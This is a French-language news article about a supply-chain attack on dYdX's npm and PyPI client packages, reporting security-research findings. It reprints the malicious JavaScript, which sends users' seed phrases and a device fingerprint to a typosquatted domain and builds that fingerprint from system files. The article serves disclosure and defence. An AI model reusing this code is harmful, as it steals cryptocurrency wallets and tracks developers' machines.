IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants de portefeuille des développeurs et des systèmes backend de dYdX

Le , par Alex

495PARTAGES

6  0 
Selon un rapport, les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants des portefeuilles des développeurs et des systèmes backend de dYdX et, dans certains cas, des dispositifs backdoorés. L'équipe de recherche sur les menaces de Socket a découvert une attaque de la chaîne d'approvisionnement visant le paquet de protocole dYdX dans les écosystèmes npm et PyPI.

npm est un gestionnaire de paquets pour le langage de programmation JavaScript maintenu par npm, Inc., une filiale de GitHub. npm est le gestionnaire de paquets par défaut pour l'environnement d'exécution JavaScript Node.js et est inclus comme fonctionnalité recommandée dans le programme d'installation de Node.js. Il se compose d'un client en ligne de commande, également appelé npm, et d'une base de données en ligne de paquets publics et privés payants, appelée le registre npm. Le registre est accessible via le client, et les paquets disponibles peuvent être consultés et recherchés via le site web npm. Le gestionnaire de paquets et le registre sont gérés par npm, Inc.

Le Python Package Index, abrégé PyPI et également connu sous le nom de Cheese Shop,  est le référentiel officiel de logiciels tiers pour Python. Il est analogue au référentiel CPAN pour Perl  et au référentiel CRAN pour R. PyPI est géré par la Python Software Foundation, une organisation caritative. Certains gestionnaires de paquets, dont pip, utilisent PyPI comme source par défaut pour les paquets et leurs dépendances. PyPI héberge principalement des paquets Python sous forme d'archives sources, appelées « sdists », ou de « wheels » qui peuvent contenir des modules binaires provenant d'un langage compilé.

Selon un rapport, les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants des portefeuilles des développeurs et des systèmes backend de dYdX et, dans certains cas, des dispositifs backdoorés. L'équipe de recherche sur les menaces de Socket a découvert une attaque de la chaîne d'approvisionnement visant le paquet de protocole dYdX dans les écosystèmes npm et PyPI. Le protocole dYdX est une bourse décentralisée pour le trading de dérivés de cryptomonnaies. Les paquets @dydxprotocol/v4-client-js (npm) et dydx-v4-client (PyPI) fournissent aux développeurs des outils pour interagir avec le protocole dYdX v4, notamment la signature de transactions, le placement d'ordres et la gestion de portefeuilles. Les applications utilisant ces paquets gèrent des opérations sensibles liées aux cryptomonnaies.

Les versions compromises ont affecté à la fois les écosystèmes JavaScript et Python avec différentes charges utiles, ciblant les deux langages les plus courants pour l'automatisation du trading et le développement de la finance quantitative.

npm : voleur de portefeuille de cryptomonnaies qui exfiltre les phrases de départ et les empreintes digitales des appareils.

PyPI : voleur de portefeuille et cheval de Troie d'accès à distance (RAT) permettant l'exécution de code arbitraire.

Versions compromises :

npm (@dydxprotocol/v4-client-js) :

- 3.4.1
- 1.22.1
- 1.15.2
- 1.0.31

PyPI (dydx-v4-client) :

- 1.1.5post1


L'attaque semble correspondre à une compromission de compte développeur, bien que cela n'ait pas été confirmé. Plusieurs versions malveillantes ont été publiées simultanément sur les deux écosystèmes à l'aide d'identifiants de publication légitimes, le logiciel malveillant étant intégré profondément dans les structures authentiques des paquets plutôt que ajouté en tant que dépendances externes. L'auteur de la menace a démontré une connaissance approfondie du fonctionnement interne des paquets, insérant du code malveillant dans les fichiers de registre principaux (registry.ts, registry.js, account.py) qui s'exécuterait lors de l'utilisation normale des paquets. L'obfuscation à 100 itérations dans la version PyPI et le déploiement coordonné entre les écosystèmes suggèrent que l'auteur de la menace avait un accès direct à l'infrastructure de publication plutôt que d'exploiter une vulnérabilité technique dans les registres eux-mêmes.

Cette attaque n'est pas un événement isolé. Au cours des dernières années, les auteurs de menaces ont pris pour cible à plusieurs reprises l'infrastructure et les paquets liés à dYdX par le biais de différents vecteurs d'attaque, notamment la compromission de la chaîne d'approvisionnement et les attaques au niveau du domaine.

Package npm : vol d'identifiants

Le package npm intègre une fonction malveillante createRegistry() dans registry.ts, [c]registry.js[/] et un autre fichier registry.js identique situé dans un autre chemin d'accès. Lorsque les développeurs intègrent ce package et transmettent la phrase de départ d'un utilisateur à createRegistry(), la fonction l'exfiltre avec l'empreinte digitale de l'appareil. Voici un extrait de code accompagnés de commentaires pour plus de clarté.

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
export async function createRegistry(phrase: string) { 
  try { 
    const uid = getDeviceUuid(); 
    await fetch("https://dydx[.]priceoracle[.]site/v4/price", { 
      method: "POST", 
      body: JSON.stringify({ 
        phrase,              // Victim's seed phrase 
        "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c", 
        uid                  // Device fingerprint 
      }) 
    }) 
  } catch { } 
}

Le bloc catch vide masque les erreurs réseau, empêchant ainsi l'affichage d'avertissements dans la console pendant les tests. Le domaine d'exfiltration dydx[.]priceoracle[.]site imite le service légitime dYdX à l'adresse dydx[.]xyz par le biais du typosquatting.

Empreinte digitale de l'appareil

Le logiciel malveillant génère un identifiant unique à partir des informations système :

Code JavaScript : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getDeviceUuid() { 
  try { 
    const parts = []; 
    parts.push(getMacLikeUuidNode());      // MAC address 
    parts.push(os.hostname());              // Hostname 
    parts.push(os.platform());              // OS platform 
    parts.push(os.release());               // OS version 
    parts.push(os.arch());                  // Architecture 
    parts.push(fs.readFileSync("/etc/machine-id", "utf8").trim()); 
    parts.push(process.env.HOSTNAME || ""); 
    parts.push(process.env.COMPUTERNAME || ""); 
  
    const fingerprint = parts.join("|"); 
    const digest = crypto.createHash("sha256").update(fingerprint, "utf8").digest(); 
    const b = Buffer.from(digest.subarray(0, 16)); 
    b[6] = (b[6] & 0x0f) | 0x40; 
    b[8] = (b[8] & 0x3f) | 0x80; 
    return formatUuidFromBytes(b); 
  } catch { 
    return "00000000-0000-0000-0000-000000000000" 
  } 
}


L'empreinte digitale permet à l'auteur de la menace de corréler les identifiants volés à des machines spécifiques et de suivre les victimes à travers plusieurs compromissions.

Package PyPI : vol d'identifiants + cheval de Troie d'accès à distance

Le package PyPI comprend le même mécanisme de vol d'identifiants, ainsi qu'un cheval de Troie d'accès à distance supplémentaire caché dans une charge utile cryptée. Le RAT permet l'exécution de code arbitraire sur les systèmes des victimes.

Vol d'identifiants

Le package PyPI intègre le vol d'identifiants dans account.py sous la forme d'une fonction nommée list_prices(). La fonction prétend interroger les prix de négociation, mais exfiltre les phrases de départ :...
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.

Une erreur dans cette actualité ? Signalez-nous-la !